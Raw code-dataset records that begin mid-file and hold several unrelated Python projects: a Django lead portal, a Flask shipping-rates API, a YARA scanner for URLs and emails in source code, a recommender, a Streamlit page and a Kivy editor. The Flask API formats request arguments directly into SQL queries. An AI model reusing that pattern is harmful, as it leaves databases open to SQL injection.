Viewed_On=datetime.date.today())\r\n # view_prospect.delete()\r\n return HttpResponseRedirect('/get_prospect/'+campaign_id+'/')\r\n\r\n # phone = request.POST['phone']\r\n # email = request.POST['email']\r\n # website = request.POST['website']\r\n # notes = request.POST['notes']\r\n # view_prospect.update(Phone=phone, Email=email, Website=website, Notes=notes,\r\n # Info_Updated_User=request.user.username, Info_Updated_Campaign=view_campaign.Name)\r\n # view_prospect.Phone = phone\r\n # view_prospect.save()\r\n\r\n\r\n@login_required\r\ndef my_leads(request, campaign_id):\r\n campaign = Campaign.objects.get(id=campaign_id)\r\n all_leads = Lead.objects.filter(Lead_User=request.user, Campaign=campaign)\r\n context = {'leads': all_leads, 'campaign_id': campaign_id}\r\n return render(request, 'portal/my_leads.html', context)\r\n\r\n\r\n@login_required\r\ndef my_dncs(request, campaign_id):\r\n campaign = Campaign.objects.get(id=campaign_id)\r\n all_dncs = DNC.objects.filter(DNC_User=request.user, Campaign=campaign)\r\n context = {'dncs': all_dncs, 'campaign_id': campaign_id}\r\n return render(request, 'portal/my_dncs.html', context)\r\n\r\n\r\n\r\n\r\n@login_required\r\ndef my_views(request, campaign_id):\r\n campaign = Campaign.objects.get(id=campaign_id)\r\n all_views = View.objects.filter(View_User=request.user, Campaign=campaign)\r\n context = {'views': all_views, 'campaign_id': campaign_id}\r\n return render(request, 'portal/my_views.html', context)\r\n\r\n#\r\n# @login_required\r\n# def make_changes(request, prospect_id, campaign_id):\r\n# prospect = get_object_or_404(Prospect, id=prospect_id)\r\n# campaign = get_object_or_404(Campaign, id=campaign_id)\r\n# phone = request.POST['phone']\r\n# email = request.POST['email']\r\n# company = request.POST['company']\r\n# notes = request.POST['notes']\r\n# if phone != '' and prospect.Phone != '-':\r\n# prospect.Phone = phone\r\n# else:\r\n# prospect.Update_Phone = phone\r\n# if email != '' and prospect.Email != '-':\r\n# prospect.Email = email\r\n# else:\r\n# prospect.Update_Email = email\r\n# if company != '' and prospect.Company != '-':\r\n# prospect.Company = company\r\n# else:\r\n# prospect.Update_Company = company\r\n# Old_Info = 'Phone : {0}, Email: {1}, Company: {2}'.format(prospect.Phone, prospect.Email, prospect.Company)\r\n# prospect.Notes = notes\r\n# prospect.Info_Updated_User = request.user.username\r\n# prospect.Info_Updated_Campaign = campaign.Name\r\n# prospect.To_Be_Updated = True\r\n# prospect.save()\r\n# context = {'prospect': prospect, 'campaign': campaign, 'form': 'form'}\r\n# return render(request, 'portal/single_prospect.html', context)\r\n#\r\n#\r\n#\r\n\r\n\r\n\r\n\r\n\r\n\r\n@login_required\r\ndef make_changes(request, prospect_id, campaign_id):\r\n prospect = get_object_or_404(Prospect, id=prospect_id)\r\n campaign = get_object_or_404(Campaign, id=campaign_id)\r\n phone = request.POST['phone']\r\n email = request.POST['email']\r\n company = request.POST['company']\r\n notes = request.POST['notes']\r\n temp_count = 0\r\n if phone != '':\r\n if prospect.Phone == '-':\r\n prospect.Phone = phone\r\n prospect.save()\r\n else:\r\n prospect.Update_Phone = phone\r\n prospect.save()\r\n temp_count += 1\r\n if email != '':\r\n if prospect.Email == '-':\r\n prospect.Email = email\r\n prospect.save()\r\n else:\r\n prospect.Update_Email = email\r\n prospect.save()\r\n temp_count += 1\r\n if company != '':\r\n if prospect.Company == '-':\r\n prospect.Company = company\r\n prospect.save()\r\n else:\r\n prospect.Update_Company = company\r\n prospect.save()\r\n temp_count += 1\r\n Old_Info = 'Phone : {0}, Email: {1}, Company: {2}'.format(prospect.Phone, prospect.Email, prospect.Company)\r\n prospect.Notes = notes\r\n prospect.Info_Updated_User = request.user.username\r\n prospect.Info_Updated_Campaign = campaign.Name\r\n prospect.Old_Info = Old_Info\r\n if temp_count != 0:\r\n prospect.To_Be_Updated = True\r\n else:\r\n pass\r\n prospect.save()\r\n context = {'prospect': prospect, 'campaign': campaign, 'form': 'form'}\r\n return render(request, 'portal/single_prospect.html', context)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"portal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"461350512","text":"import os\nimport requests\nfrom flask import Flask, request, jsonify\nimport sqlalchemy\nfrom sqlalchemy.sql import select\n\n\n\n\napp = Flask(__name__)\nengine = sqlalchemy.create_engine(os.environ['DATABASE_URL'])\nconn = engine.connect()\n\nAPP_ID = os.environ['APP_ID']\n\n@app.route('/', methods=['GET', 'POST'])\ndef healthcheck():\n return jsonify({\"heathcheck\": \"Everything is Fine, Houston\"})\n\n\n@app.route('/rates', methods=['GET'])\ndef rates():\n\n try:\n\n date_from=request.args.get('date_from')\n date_to=request.args.get('date_to')\n origin=request.args.get('origin')\n destination=request.args.get('destination')\n\n #get the origin\n query2 = \" select code from ports where '{}' in (code, parent_slug)\".format(origin)\n origin = engine.execute(query2).first()\n origin = ''.join(origin)\n\n #get the destination\n query3 = \" select code from ports where '{}' in (code, parent_slug)\".format(destination)\n destination = engine.execute(query3).first()\n destination = ''.join(destination)\n\n #get record between dates\n query = \"select day, avg(cast(price as float)) as average_price from prices where orig_code = '{}' and dest_code = '{}' and day between '{}' and '{}' group by day;\".format(origin, destination, date_from, date_to)\n result = engine.execute(query)\n return jsonify({\"date_from\": date_from, \"date_to\": date_to, \"origin\": origin, \"destination\": destination, \"result\": [dict(row) for row in result]})\n\n except:\n return jsonify({\"Error\": \"Missing argument\"})\n\n@app.route('/rates_null', methods=['GET'])\ndef rates_null():\n try:\n\n date_from=request.args.get('date_from')\n date_to=request.args.get('date_to')\n origin=request.args.get('origin')\n destination=request.args.get('destination')\n\n #get the origin\n query2 = \" select code from ports where '{}' in (code, parent_slug)\".format(origin)\n origin = engine.execute(query2).first()\n origin = ''.join(origin)\n\n #get the destination\n query3 = \" select code from ports where '{}' in (code, parent_slug)\".format(destination)\n destination = engine.execute(query3).first()\n destination = ''.join(destination)\n\n #get record between dates\n query = \"select day, avg(cast(price as float)) as average_price from prices where orig_code = '{}' and dest_code = '{}' and day between '{}' and '{}' group by day having count(*) >2;\".format(origin, destination, date_from, date_to)\n result = engine.execute(query)\n\n return jsonify({\"date_from\": date_from, \"date_to\": date_to, \"origin\": origin, \"destination\": destination, \"result\": [dict(row) for row in result]})\n \n except:\n return jsonify({\"Error\": \"Missing argument\"})\n\n@app.route('/rates', methods=['POST'])\ndef rates_post():\n try:\n date=request.args.get('date')\n origin_code=request.args.get('origin_code')\n destination_code=request.args.get('destination_code')\n price=request.args.get('price')\n\n\n payload = {\"app_id\": APP_ID}\n in_us_dollars = requests.get('https://openexchangerates.org/api/latest.json?', params=payload)\n in_us_dollars_json = in_us_dollars.json()\n usd = in_us_dollars_json['rates']['USD']\n price_in_usd = price * usd\n\n check_destination = \"SELECT code FROM ports WHERE '{}' IN(code, parent_slug) limit 1;\".format(destination_code)\n check_destination_result = engine.execute(check_destination)\n\n check_origin = \"SELECT code FROM ports WHERE '{}' IN(code, parent_slug) limit 1;\".format(origin_code)\n check_origin_result = engine.execute(check_origin)\n\n check_destination_result = [dict(row) for row in check_destination_result]\n check_origin_result = [dict(row) for row in check_origin_result]\n\n destination_code_result = (check_destination_result[0]['code'])\n origin_code_result = (check_origin_result[0]['code'])\n\n if len(check_destination_result[0]) == len(check_origin_result[0]) >0:\n insert_query = \"INSERT INTO prices (orig_code, dest_code, day, price) VALUES ('{}', '{}', '{}', '{}')\".format(origin_code_result, destination_code_result, date, price_in_usd)\n engine.execute(insert_query)\n return jsonify({\"date\": date,\"origin_code\": origin_code_result, \"destination_code\": destination_code_result, \"price\": price_in_usd})\n else:\n return jsonify({\"Error\": \"Destination code or origin code does not exist\"})\n\n except:\n return jsonify({\"Error\": \"Missing argument\"})\n\n\n \n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"324798040","text":"import argparse\nimport bisect\nimport io\nimport itertools\nimport json\nimport os\nimport re\nimport sys\n\nfrom collections import defaultdict\n\nimport yara\n\"\"\" Test\"\"\"\n\"\"\"\n\nTesting this\n\"\"\"\n\"\"\"\nmy comment\n\"\"\"\nURL_RULE = \"\"\"\n rule default_url {\n strings:\n $url = /https?:\\/\\/([\\w\\.-]+)([\\/\\w \\.-]*)|www.([\\/\\w \\.-]+)/ wide ascii\n condition:\n $url\n }\n\"\"\"\n\nIPV4_RULE = \"\"\"\n rule default_ipv4 {\n strings:\n $ipv4 = /([0-9]{1,3}\\.){3}[0-9]{1,3}/ wide ascii\n condition:\n $ipv4\n }\n\"\"\"\n\nBASE64_URL_RULE = \"\"\"\n rule default_base64_url {\n strings:\n $a1 = \"aHR0c\" wide ascii // http/s\n $a2 = \"SFRUU\" wide ascii // HTTP/S\n $a3 = \"d3d3L\" wide ascii // www.\n $a4 = \"V1dXL\" wide ascii // WWW.\n condition:\n any of ($a*)\n }\n\"\"\"\n\nEMAIL_RULE = \"\"\"\n rule default_email {\n meta:\n author = \"@kovacsbalu\"\n info = \"Better email pattern\"\n reference = \"https://github.com/securenetworx/PasteHunter/tree/fix-email-filter\"\n strings:\n $email = /[\\w-]+(\\.[\\w-]+)*@[\\w-]+(\\.[\\w-]+)*\\.[a-zA-Z-]+[\\w-]/ wide ascii\n condition:\n $email\n }\n\"\"\"\n\nMAC_RULE = \"\"\"\n rule mac {\n strings:\n $mac = /(\\w*)([0-9A-F]{2}[:-]){5}([0-9A-F]{2})/ wide ascii\n condition:\n all of them\n }\n\"\"\"\n\n\nclass Psychic:\n DEFAULT_RULES = {'default_url': URL_RULE, 'default_ipv4': IPV4_RULE, 'default_base64_url': BASE64_URL_RULE,\n 'default_email': EMAIL_RULE, 'default_mac': MAC_RULE}\n\n _INIT_EXTERNALS = {'file_ext': '', 'file_path': '', 'file_name': ''}\n _LINE_REGEX = re.compile('[\\n]|$')\n\n def __init__(self, source_path, rule_paths=None, disable_rules=None):\n self._source_path = source_path if source_path is not None else '.'\n rule_texts, rule_paths = self._collect_rules(rule_paths, disable_rules)\n self._source_rules = yara.compile(sources=rule_texts, externals=self._INIT_EXTERNALS)\n self._file_rules = yara.compile(filepaths=rule_paths, externals=self._INIT_EXTERNALS)\n\n def search(self):\n # If a file path was given instead of a directory path, os walk will not work on it.\n if os.path.isfile(self._source_path):\n rule_matches = self.search_file(self._source_path)\n return {self._source_path: rule_matches} if len(rule_matches) > 0 else {}\n\n file_rule_matches = {}\n for path, _, files in os.walk(self._source_path):\n for file in files:\n full_path = os.path.join(path, file)\n rule_matches = self.search_file(full_path)\n if len(rule_matches) > 0:\n file_rule_matches[full_path] = rule_matches\n\n return file_rule_matches\n\n def search_file(self, path):\n if path is None:\n print('Error: Given search_file path was None', file=sys.stderr)\n return {}\n\n if not os.path.isfile(path):\n print(f'Error: {path} is not a regular file as expected', file=sys.stderr)\n return {}\n\n try:\n with io.open(path, encoding='utf-8', newline='') as fp:\n text = fp.read()\n except IOError as e:\n print(f'Error opening source file {path}: {e}', file=sys.stderr)\n return {}\n except UnicodeDecodeError as e:\n print(f'WARNING: File {path}, not a UTF-8 compatible encoding: {e}', file=sys.stderr)\n return {}\n\n line_offsets = self._line_offsets(text)\n\n rule_matches = defaultdict(lambda: [])\n for match in self._combine_matches(text, path):\n lines_found = set()\n for offset, str_id, str_data in match.strings:\n line = bisect.bisect_left(line_offsets, offset) + 1\n if line not in lines_found:\n rule_matches[match.rule].append({'Line': line, 'Identifier': str_id,\n 'Data': str_data.decode('utf-8')})\n lines_found.add(line)\n\n return rule_matches\n\n def _combine_matches(self, text, path):\n if text is None or path is None:\n return []\n externals = self._create_externals(path)\n return itertools.chain(self._source_rules.match(data=text, externals=externals),\n self._file_rules.match(data=text, externals=externals))\n\n @staticmethod\n def _line_offsets(data):\n if data is None:\n return []\n return [match.start() for match in Psychic._LINE_REGEX.finditer(data)]\n\n @staticmethod\n def _collect_rules(custom_rule_paths=None, to_disable=None):\n custom_rule_paths = custom_rule_paths if custom_rule_paths is not None else []\n to_disable = [d.lower() for d in to_disable] if to_disable is not None else []\n\n enabled_rules = {name: rule for name, rule in Psychic.DEFAULT_RULES.items() if name not in to_disable\n and name[len('default_'):] not in to_disable}\n rule_paths = {os.path.splitext(os.path.basename(path))[0]: path for path in custom_rule_paths}\n return enabled_rules, rule_paths\n\n @staticmethod\n def _create_externals(path):\n file_ext = file_name = file_path = ''\n if path is not None:\n ext_split = os.path.splitext(os.path.basename(path))\n file_ext = ext_split[-1]\n file_name = ext_split[0] if '.' not in ext_split[0] else ext_split[0][:ext_split[0].find('.')]\n file_path = path\n return {'file_ext': file_ext, 'file_path': file_path, 'file_name': file_name}\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser(description='Determine author(s) and/or author(s) location from source code.')\n parser.add_argument('source_path', help='Path to file or source code base directory')\n parser.add_argument('--rule-path', nargs='*', help='Paths to custom YARA rules')\n parser.add_argument('--disable-rule', nargs='*', help='Default Psychic YARA rules to disable. Can be specified as '\n 'default_X or X, where X is the rule name. Defaults are url, '\n 'ipv4, base64_url, email, mac.')\n return parser.parse_args()\n\n\ndef main():\n args = _parse_args()\n psychic = Psychic(args.source_path, args.rule_path, args.disable_rule)\n result = psychic.search()\n if result is not None:\n print(json.dumps(result, indent=4))\n else:\n print('Error: Search result was None', file=sys.stderr)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"psychic.py","file_name":"psychic.py","file_ext":"py","file_size_in_byte":6692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"638678328","text":"import math\nimport pandas as pd\nimport numpy as np\n\nclass ItemCF:\n def __init__(self):\n self.user_score_dict = self.initUserScore()\n self.items_sim = self.ItemSimilarity()\n\n # 初始化数据\n def initUserScore(self):\n user_score_dict = {\n \"A\": {\"a\": 3.0, \"b\": 4.0, \"c\": 0.0, \"d\": 3.5, \"e\": 0.0},\n \"B\": {\"a\": 4.0, \"b\": 0.0, \"c\": 4.5, \"d\": 0.0, \"e\": 3.5},\n \"C\": {\"a\": 0.0, \"b\": 3.5, \"c\": 0.0, \"d\": 0.0, \"e\": 3.0},\n \"D\": {\"a\": 0.0, \"b\": 4.0, \"c\": 0.0, \"d\": 3.5, \"e\": 3.0}\n }\n return user_score_dict\n\n #计算item之间的相似度\n def ItemSimilarity(self):\n #相似度矩阵\n itemSim = dict()\n #物品用户矩阵\n item_user_count = dict()\n #同现矩阵\n count = dict()\n #物品用户数量矩阵实现\n for user, item in self.user_score_dict.items():\n for i in item.keys():\n item_user_count.setdefault(i, 0)\n if self.user_score_dict[user][i] >0.0:\n item_user_count[i] += 1\n #同现矩阵实现\n for j in item.keys():\n count.setdefault(i, {}).setdefault(j,0)\n if(\n self.user_score_dict[user][i] >0.0\n and self.user_score_dict[user][j] >0.0\n and i !=j\n ):\n count[i][j] += 1\n #同现矩阵 -> 相似度矩阵\n for i, related_items in count.items():\n itemSim.setdefault(i, {})\n for j, cuv in related_items.items():\n itemSim[i].setdefault(j, 0)\n itemSim[i][j] = cuv / item_user_count[i]\n return itemSim\n\n #预测用户对item的评分\n def preUserItemScore(self, userA, item):\n score = 0.0\n #循环遍历��似度矩阵\n for item1 in self.items_sim[item].keys():\n if item1 !=item:\n score +=(self.items_sim[item][item1] * self.user_score_dict[userA][item1])\n return score\n\n #为用户推荐物品\n def recommend(self, userA):\n #计算userA未评分item的可能评分\n user_item_score_dict ={}\n for item in self.user_score_dict[userA].keys():\n user_item_score_dict[item] = self.preUserItemScore(userA, item)\n return user_item_score_dict\n\nif __name__ == '__main__':\n ib= ItemCF()\n print(ib.recommend('C'))\n\n\n\n\n","sub_path":"jupyter项目/【推荐系统】/推荐系统开发实战/第5章/5-5ItemCF原理/代码实现/5-5itemCF.py","file_name":"5-5itemCF.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"542049501","text":"import streamlit as st\nfrom PIL import Image\nimport sqlite3\nimport pandas as pd\n\nconn = sqlite3.connect('apps/pi_cross.db', check_same_thread=False)\nc = conn.cursor()\n\n\ndef selectTable():\n c.execute(\"SELECT * FROM Especialidades\")\n\n data = c.fetchall()\n conn.commit()\n\n return data\n\n\ndef insertSpec(ch_atend, sigla_unid, especialid, cidade_unid):\n conn.execute('''\n INSERT INTO especialidades (tipo_atend, sigla, espec_med, cidade)\n VALUES\n (\n ?, ?, ?, ?\n );\n ''', (ch_atend, sigla_unid, especialid, cidade_unid))\n\n conn.commit()\n\n\ndef app():\n st.title('Especialidades')\n\n image = Image.open('especialidades.png')\n st.sidebar.image(image, caption='ESPECIALIDADES', use_column_width=True)\n\n query_results = selectTable()\n st.write(pd.DataFrame(query_results, columns=[\n 'ID', 'Tipo', 'Sigla', 'Especialidade', 'Cidade']))\n\n st.subheader(\"Registro\")\n ch_atend = st.text_area(\"Qual é o tipo de atendimento? (Consulta, Exame)\")\n sigla_unid = st.text_area(\"Nome da Unidade\")\n especialid = st.text_area(\"Especialidade\")\n cidade_unid = st.text_area(\"Cidade da Unidade\")\n\n with st.form(key='query_form'):\n submit_code = st.form_submit_button(\"Inserir\")\n\n if submit_code:\n insertSpec(ch_atend, sigla_unid, especialid, cidade_unid)\n st.write(\"Especialidade Inserida com Sucesso!\")\n\n st.subheader(\"Remover\")\n st.write(\"Desculpe, mas ainda não é possível permitir que você remova esse campo!\")\n","sub_path":"apps/especialidades.py","file_name":"especialidades.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"346102723","text":"from django.urls import path,include\nfrom basic_app import views\n\n#Templat urls!\n\napp_name = 'basic_app'\n\nurlpatterns = [\n\tpath('register/',views.register,name=\"registeration\"),\n\tpath('user_login/',views.user_login,name=\"user_login\"),\n]","sub_path":"level_five/basic_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"646545710","text":"from singleton import Singleton\n\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.scatter import Scatter\nfrom kivy.uix.relativelayout import RelativeLayout\nfrom kivy.uix.image import Image\nfrom kivy.graphics.vertex_instructions import Mesh, Line\nfrom kivy.graphics import Color\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.label import Label\n\nfrom math import ceil\n\nfrom editorutils import AutoReloadTexture, CancelableButton, vector2Multiply, distance\nfrom editorheritage import SpecialScrollControl, SpaceLimitedObject\nfrom collisioninfo import CollisionPartInformation\nfrom keyboard import KeyboardAccess, KeyboardGuardian\nfrom communicationobjects import CollisionToCollisionForm\n\nclass CollisionPartDisplay(RelativeLayout):\n\tdef __init__(self, obj, expandLevel = 1.0):\n\t\tif (obj is None):\n\t\t\treturn\n\n\t\tself.__texture = AutoReloadTexture(obj.getBaseSize(), obj.getImage())\n\t\tsuper(CollisionPartDisplay, self).__init__(size_hint = (None, None), size = obj.getBaseSize())\n\t\tself.__image = Scatter(do_rotation = False, do_translation = False, do_scale = False)\n\t\tim = Image(texture = self.__texture.getTexture(), size = obj.getBaseSize(), allow_strech = True)\n\t\tself.__image.add_widget(im)\n\t\tself.__image.size = obj.getBaseSize()\n\t\tself.__operation = None\n\t\tself.add_widget(self.__image)\n\t\tself.__expandLevel = expandLevel\n\t\tself.size = vector2Multiply(tuple(self.size), self.__expandLevel)\n\t\tif (self.__expandLevel == 1.0):\n\t\t\tself.__image.pos = (0, 0)\n\t\telse:\n\t\t\tself.__image.pos = (self.size[0]/(self.__expandLevel * 2.), self.size[1]/(self.__expandLevel * 2.))\n\t\tself.__originalSize = tuple(self.size)\n\t\tself.__operation = None\n\n\tdef clearDrawnForm(self):\n\t\tif (self.__operation != None):\n\t\t\tself.canvas.remove(self.__operation)\n\t\t\tself.__operation = None\n\n\tdef __drawDefaultBox(self):\n\t\tself.clearDrawnForm()\n\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\timgPos = tuple(self.__image.pos)\n\t\t\timgSize = tuple(self.__image.size)\n\t\t\tself.__operation = Line(\n\t\t\t\tpoints = [\n\t\t\t\t\timgPos[0], imgPos[1],\n\t\t\t\t\timgPos[0], imgPos[1] + imgSize[1],\n\t\t\t\t\timgPos[0] + imgSize[0], imgPos[1] + imgSize[1],\n\t\t\t\t\timgPos[0] + imgSize[0], imgPos[1]\n\t\t\t\t],\n\t\t\t\tclose = True\n\t\t\t)\n\n\tdef __drawDefinedBox(self, points):\n\t\tself.clearDrawnForm()\n\n\t\tfx, fy = points[0]\n\t\tsx, sy = points[1]\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\tself.__operation = Line(\n\t\t\t\tpoints = [\n\t\t\t\t\tfx, fy,\n\t\t\t\t\tfx, sy,\n\t\t\t\t\tsx, sy,\n\t\t\t\t\tsx, fy,\n\t\t\t\t],\n\t\t\t\tclose = True\n\t\t\t)\n\n\tdef __drawDefaultSphere(self):\n\t\tself.clearDrawnForm()\n\n\t\timgPos = tuple(self.__image.pos)\n\t\timgSize = tuple(self.__image.size)\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\tself.__operation = Line(\n\t\t\t\tcircle = (\n\t\t\t\t\timgPos[0] + imgSize[0]/2.,\n\t\t\t\t\timgPos[1] + imgSize[1]/2.,\n\t\t\t\t\timgSize[0]/2.,\n\t\t\t\t)\n\t\t\t)\n\n\tdef __drawDefinedSphere(self, points):\n\t\tself.clearDrawnForm()\n\t\tfx, fy = points[0]\n\t\tradius = distance(points[0], points[1])\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\tself.__operation = Line(\n\t\t\t\tcircle = (\n\t\t\t\t\tfx,\n\t\t\t\t\tfy,\n\t\t\t\t\tradius\n\t\t\t\t)\n\t\t\t)\n\n\tdef __drawDefaultMesh(self):\n\t\tself.clearDrawnForm()\n\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\timgPos = tuple(self.__image.pos)\n\t\t\timgSize = tuple(self.__image.size)\n\t\t\tself.__operation = Mesh (\n\t\t\t\tvertices = [\n\t\t\t\t\timgPos[0], imgPos[0], 0, 0,\n\t\t\t\t\timgPos[0] + imgSize[0], imgPos[1], 0, 0,\n\t\t\t\t\timgPos[0] + imgSize[0], imgPos[1] + imgSize[1], 0, 0,\n\t\t\t\t\timgPos[0], imgPos[1] + imgSize[1], 0, 0,\n\t\t\t\t],\n\t\t\t\tindices = range(4), mode = 'line_loop'\n\t\t\t)\n\n\tdef __drawDefinedMesh(self, points):\n\t\tself.clearDrawnForm()\n\n\t\tverticesList = []\n\t\tfor point in points:\n\t\t\tverticesList.extend([point[0], point[1], 0, 0])\n\n\t\twith self.canvas:\n\t\t\tColor(0., 1.0, .0, 0.3)\n\t\t\tself.__operation = Mesh(\n\t\t\t\tvertices = verticesList,\n\t\t\t\tindices = range(len(points)),\n\t\t\t\tmode = 'line_loop'\n\t\t\t)\n\n\tdef drawPart(self, part):\n\t\tform = part.getFormType()\n\t\tpoints = part.getPoints()\n\t\tif (form == \"box\"):\n\t\t\tif (points == None):\n\t\t\t\tself.__drawDefaultBox()\n\t\t\telse:\n\t\t\t\tself.__drawDefinedBox(points)\n\n\t\telif (form == \"sphere\"):\n\t\t\tif (points == None):\n\t\t\t\tself.__drawDefaultSphere()\n\t\t\telse:\n\t\t\t\tself.__drawDefinedSphere(points)\n\t\telif (form == \"mesh\"):\n\t\t\tif (points == None):\n\t\t\t\tself.__drawDefaultMesh()\n\t\t\telse:\n\t\t\t\tself.__drawDefinedMesh(points)\n\n\tdef getExpandLevel(self):\n\t\treturn self.__expandLevel\n\n\tdef getImage(self):\n\t\treturn self.__image\n\n\tdef resize(self, x):\n\t\tself.size = vector2Multiply(self.__originalSize, x)\n\t\tself.__image.pos = (self.size[0]/4., self.size[1]/4.)\n\n\tdef getSize(self):\n\t\treturn tuple(self.size)\n\nclass CollisionFormEditorPoints(Scatter, SpaceLimitedObject):\n\tdotSize = 11\n\tdef __checkAndTransform(self, trans, post_multiply=False, anchor=(0, 0)):\n\t\txBefore, yBefore = self.bbox[0]\n\n\t\tself.__defaultApplyTransform(trans, post_multiply, anchor)\n\t\tx, y = self.bbox[0]\n\t\tif (xBefore == x and yBefore == y):\n\t\t\treturn\n\n\t\tself._set_pos(self.ajustPositionByLimits(x, y, 11, 11, self.__maxX, self.__maxY))\n\n\tdef getPos(self):\n\t\tx, y = self.pos\n\t\tx += ceil(CollisionFormEditorPoints.dotSize/2.)\n\t\ty += ceil(CollisionFormEditorPoints.dotSize/2.)\n\t\treturn (x, y)\n\n\tdef setPos(self, newPos):\n\t\tx, y = newPos\n\t\tx -= ceil(CollisionFormEditorPoints.dotSize/2.)\n\t\ty -= ceil(CollisionFormEditorPoints.dotSize/2.)\n\t\tself.pos = (x, y)\n\n\tdef __updateOnMove(self, touch):\n\t\tself.__updateMethod(self)\n\t\tself.__defaut_touch_move(touch)\n\n\tdef __init__(self, updateMethod, limits):\n\t\tsuper(CollisionFormEditorPoints, self).__init__(do_rotation = False, do_scale = False,\n\t\t\tsize = (CollisionFormEditorPoints.dotSize, CollisionFormEditorPoints.dotSize), size_hint = (None, None),\n\t\t\tauto_bring_to_front = False)\n\n\t\tself.__updateMethod = updateMethod\n\t\tself.__defaut_touch_move = self.on_touch_move\n\t\tself.on_touch_move = self.__updateOnMove\n\t\tself.__maxX, self.__maxY = limits\n\n\t\tself.__defaultApplyTransform = self.apply_transform\n\t\tself.apply_transform = self.__checkAndTransform\n\n\t\timg = Image (size = (CollisionFormEditorPoints.dotSize, CollisionFormEditorPoints.dotSize))\n\t\tself.add_widget(img)\n\n\nclass CollisionFlagFormEditorLayout(SpecialScrollControl, KeyboardAccess):\n\t# Overloaded method\n\tdef _processKeyUp(self, keyboard, keycode):\n\t\tif (keycode[1] == 'shift'):\n\t\t\tself.setIsShiftPressed(False)\n\n\t\telif (keycode[1] == 'ctrl'):\n\t\t\tself.setIsCtrlPressed(False)\n\n\t\tif (keycode[1] == 'delete' and self.__lastPointPressed is not None):\n\t\t\tform = self.__workingPart.getFormType()\n\t\t\tnumberOfPoints = len(self.__pointsList)\n\t\t\tif (form == 'mesh' and numberOfPoints > 3):\n\t\t\t\tself.__display.remove_widget(self.__lastPointPressed)\n\t\t\t\tself.__pointsList.remove(self.__lastPointPressed)\n\t\t\t\tself.__updatePoints(None)\n\n\t\telif(keycode[1] == 'escape'):\n\t\t\tCollisionFlagFormEditorPopup.Instance().dismissPopUp()\n\n\t# Overloaded method\n\tdef _processKeyDown(self, keyboard, keycode, text, modifiers):\n\t\tif (keycode[1] == 'shift'):\n\t\t\tself.setIsShiftPressed(True)\n\n\t\telif (keycode[1] == 'ctrl'):\n\t\t\tself.setIsCtrlPressed(True)\n\n\tdef __updatePoints(self, point):\n\t\tself.__lastPointPressed = point\n\t\tl = []\n\t\tfor point in self.__pointsList:\n\t\t\tl.append(point.getPos())\n\n\t\tself.__workingPart.setPoints(l)\n\t\tself.__display.drawPart(self.__workingPart)\n\n\tdef __getStartingPositions(self, form):\n\t\timgPos = tuple(self.__display.getImage().pos)\n\t\timgSize = tuple(self.__display.getImage().size)\n\t\tif (form == 'box'):\n\t\t\treturn (imgPos, ((imgPos[0] + imgSize[0], imgPos[1] + imgSize[1])))\n\t\telif (form == 'sphere'):\n\t\t\treturn ((imgPos[0] + imgSize[0]/2., imgPos[1] + imgSize[1]/2.), (imgSize[0], imgSize[1]/2))\n\t\telse:\n\t\t\treturn (imgPos, (imgPos[0] + imgSize[0], imgPos[1]), (imgPos[0] + imgSize[0], imgPos[1] + imgSize[1]),\n\t\t\t\t(imgPos[0], imgPos[1] + imgSize[1]))\n\n\n\tdef savePoints(self):\n\t\tnewPoints = self.__workingPart.getPoints()\n\t\tif (newPoints is not None):\n\t\t\tform = self.__workingPart.getFormType()\n\t\t\tanyChanges = False\n\t\t\tfor pos1, pos2 in zip(newPoints, self.__getStartingPositions(form)):\n\t\t\t\tif (int(pos1[0]) != int(pos2[0]) or int(pos1[1]) != int(pos2[1])):\n\t\t\t\t\tanyChanges = True\n\t\t\t\t\tbreak\n\n\t\t\tif (anyChanges == True):\n\t\t\t\ttransformedPoints = []\n\t\t\t\tfor point in newPoints:\n\t\t\t\t\ttransformedPoint = self.__display.getImage().to_local(*point)\n\t\t\t\t\ttransformedPoints.append((int(transformedPoint[0]), int(transformedPoint[1])))\n\n\t\t\t\tself.__originalPart.setPoints(transformedPoints)\n\n\tdef __copyPartAndTransform(self, part):\n\t\tnewPart = CollisionPartInformation.copy(part)\n\t\tpoints = newPart.getPoints()\n\t\tif points is not None:\n\t\t\ttransformedPoints = []\n\t\t\tfor point in points:\n\t\t\t\ttransformedPoints.append(self.__display.getImage().to_parent(point[0], point[1]))\n\n\t\t\tnewPart.setPoints(transformedPoints)\n\n\t\treturn newPart\n\n\tdef render(self, part, obj):\n\t\tself._scrollView.clear_widgets()\n\t\tself.__display = CollisionPartDisplay(obj, 2.0)\n\t\tdisplaySize = self.__display.getSize()\n\t\tself.__originalPart = part\n\t\tself.__workingPart = self.__copyPartAndTransform(part)\n\n\t\tself.__display.drawPart(self.__workingPart)\n\t\tself._scrollView.add_widget(self.__display)\n\n\t\tself.__pointsList = []\n\t\tform = self.__workingPart.getFormType()\n\t\tpoints = self.__workingPart.getPoints()\n\t\tif (form == 